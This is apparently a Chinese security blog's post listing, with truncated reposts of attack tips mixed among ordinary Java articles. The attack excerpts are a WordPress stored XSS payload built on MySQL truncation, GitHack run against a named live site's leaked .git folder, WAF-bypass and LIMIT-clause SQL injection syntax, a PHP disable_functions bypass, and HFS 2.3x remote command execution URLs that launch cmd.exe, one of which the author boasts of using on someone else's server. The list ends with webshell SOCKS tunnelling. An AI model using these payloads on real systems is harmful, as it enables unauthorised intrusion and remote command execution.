2015-04-29 21:25:45

[转]Wordpress < 4.1.2 存储型XSS分析与稳定POC

原文:http://www.leavesongs.com/HTML/wordpress-4-1-stored-xss.html Wordpress这个XSS实际上是很好用的,匿名用户即可发表并触发,这里给出简单的分析与稳定的好触发的POC。 其实漏洞的作者已经在文章(https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/)里说明了,但文章给的Payload不知道为何在我的测试wp中不能触发。 这个漏洞的原理很有意思,由MYSQL的一个特性导致,当我们将一个4字节的UTF8字符插入mysql时,mysql将会视之为utf8mb4编码,当将utf8mb4编码的字符插入到UTF8编码的列中,在非strict mode下就会造成一个截断。 截断的话,就能绕过很多富文本过滤器了。比如,插入两个评论“<img src=1”,和“onerror=alert(1)// ”,这二者都不会触发某些富文本过滤器(因为前者并不含有白名单外的属性,后者并不是一个标签),但两个评论如果存在于同一个页面,就会拼接成一个完整的HTML标签,触发onerror事件。 虽然wordpress并不是适用上述的方法,但研究者很快找到了新方法。在截断后,wordpress会将单引号转换成&#8220;,于是如果我们提交的评论是这样的

2015-04-29 13:46:22

[Zone-lijiejie]GitHack -- 一个git泄露利用脚本

原文:http://zone.wooyun.org/content/20082 当前大量开发人员使用git进行版本控制,对站点自动部署。  如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。 GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,还原重建工程源代码。 渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。 脚本的工作原理 1. 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) 2. 去.git/objects/ 文件夹下下载对应的文件 3. 使用zlib解压文件,按原始的目录结构写入源代码 它的优点 1. 速度快,默认20个工作线程 2. 尽量还原所有的源代码,缺失一部分文件不影响脚本工作 3. 脚本不需要执行额外的git命令,有python就够了 可能的改进 存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码 用法示例: GitHack.py http://www.hoolai.com/.git/ 执行中截图: 执行结果: 获取代码:https://github.com/lijiejie/GitHack 参考资料: Git Index Formart 非常感谢 sbp 的 gin - a

2015-03-29 14:24:34

[转]Java开发者常犯的十个错误

这篇文章转自:http://www.cnblogs.com/liushaobo/p/4375493.html 翻译自:Top 10 Mistakes Java Developers Make 文章列出了Java开发者最常犯的是个错误。 1.将数组转换为ArrayList 为了将数组转换为ArrayList,开发者经常会这样做: List<String> list = Arrays.asList(arr); Arrays.asList()会返回一个ArrayList,但这个ArrayList是Arrays的私有静态类,不是java.util.ArrayList。java.util.Arrays.ArrayList有set(), get(), contains()方法,但没有任何能增加元素的方法,所以它的大小是确定的。 为了创建一个真正的ArrayList,应该这样做: ArrayList<String> arrayList = new ArrayList<String>(Arrays.asList(arr)); ArrayList的构造函数能够接收一个Collection类型,而它也是java.util.Arrays.ArrayList的一个祖先类。 2.检查一个数组是否包含某个值 开发者经常这样做: Set<String> set =

2015-02-10 21:20:12

[zone]mysql 语法绕过一些WAF

转:mysql syntax bypass some WAF 一个小tips,twitter上看见的: 一句话: select{x table_name}from{x information_schema.tables} 测试: mysql> select{x table_name}from{x information_schema.tables}; +----------------------------------------------------+ | table_name | +----------------------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES

2015-01-24 22:41:33

[zone]MySQL 在 LIMIT 条件后注入

FROM:http://zone.wooyun.org/content/18220 from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ 此方法适用于MySQL 5.x中,在limit语句后面的注入 例如: SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point 上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法: SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [WHERE where_c

2015-01-12 12:22:21

[转]推荐!国外程序员整理的Java资源大全

构建 这里搜集了用来构建应用程序的工具。 Apache Maven:Maven使用声明进行构建并进行依赖管理,偏向于使用约定而不是配置进行构建。Maven优于Apache Ant。后者采用了一种过程化的方式进行配置,所以维护起来相当困难。 Gradle:Gradle采用增量构建。Gradle通过Groovy编程而不是传统的XML声明进行配置。Gradle可以很好地配合Maven进行依赖管理,并且把Ant脚本当作头等公民。 字节码操作 编程操作Java字节码的函数库。 ASM:通用底层字节码操作及分析。 Javassist:尝试简化字节码编辑。 Byte Buddy:使用“流式API”进一步简化字节码生成。 代码分析 软件度量和质量评估工具。 Checkstyle:对编程规范和标准进行静态分析。 FindBugs:通过字节码静态分析找出潜在Bug。 PMD:对源代码中不良编程习惯进行分析。 SonarQube:通过插件集成其它分析组件,提供评估最终结果报告。 编译器 创建分析器、解释器和编译器的框架。 ANTLR:功能完备的自顶向下分析复杂框架。 JavaCC:相对ANTLR更具体,上手略为简单。支持语法语法超前预测(syntactic lookahead)。 持续集成 支持持续集成、测试和应用发布的工具。 Bamboo:Atlassian的持续集成(CI)解决方案,包含很多其它产品

2014-11-29 23:55:07

JTabbedPane 监听tab选中改变事件

利用的是javax.swing.event.ChangeListener,原文Listening for Selected Tab Changes。实现方式都是callback,不过在实际当中为了方便我选择了自己写callback。 import java.awt.BorderLayout; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JTabbedPane; import javax.swing.event.ChangeEvent; import javax.swing.event.ChangeListener; public class TabSample { static void add(JTabbedPane tabbedPane, String label) { JButton button = new JButton(label); tabbedPane.addTab(label, button); } public static void main(String args[]) { JFrame frame = new JFrame("Tabbed Pane Sample"); frame.setDefaultCloseO

2014-11-24 11:21:14

[zone-phith0n]PHP 绕过Disable_functions执行命令

FROM:http://zone.wooyun.org/content/16631 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path = 注释中可以看到,send_mail默认值为"sendmail -t -i". extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 如下: if (!sendmail_path) { #if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smt

2014-09-14 01:36:32

[转] HFS 2.3x 远程命令执行

从某论坛看见的,转载部分: 这个程序在国内用的特别多,特别是那些抓肉鸡的黑阔。 http://localhost:80/?search==%00{.exec|cmd.} http://localhost:80/search=%00{.exec|cmd.} 注:有些版本search前面是没有?的。 测试部分: 百度搜HFS默认就是2.3x版本,执行echo测试成功: http://localhost:8080/?search==%00{.exec|cmd.exe%20/c%20echo>c:/1.txt%20123.} google hack了一下,发现一个抓鸡黑阔: 。。。。。。 已测试官方最新版,一样存在。 撒旦: 测试某表弟的抓鸡服务器同样XXOO了。。 带回显的HFS利用方法,抛砖引玉 http://localhost:8080/?search==%00{.exec|cmd.exe%20/c%20whoami>1.txt.}{.cookie|2|value={.load|1.txt.}.}

2014-08-13 23:55:21

[zone]利用webshell搭建socks代理

FROM:http://zone.wooyun.org/content/14470 老外的开源应用  https://github.com/sensepost/reGeorg  使用示例:  python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp Step 1. 上传一个脚本(aspx|ashx|jsp|php) 到web服务器上。  Step 2. 执行reGeorgSocksProxy.py脚本,连接shell监听端口。  ** 如果你使用nmap等工具需要用到 proxychains。  Step 3. Hack the planet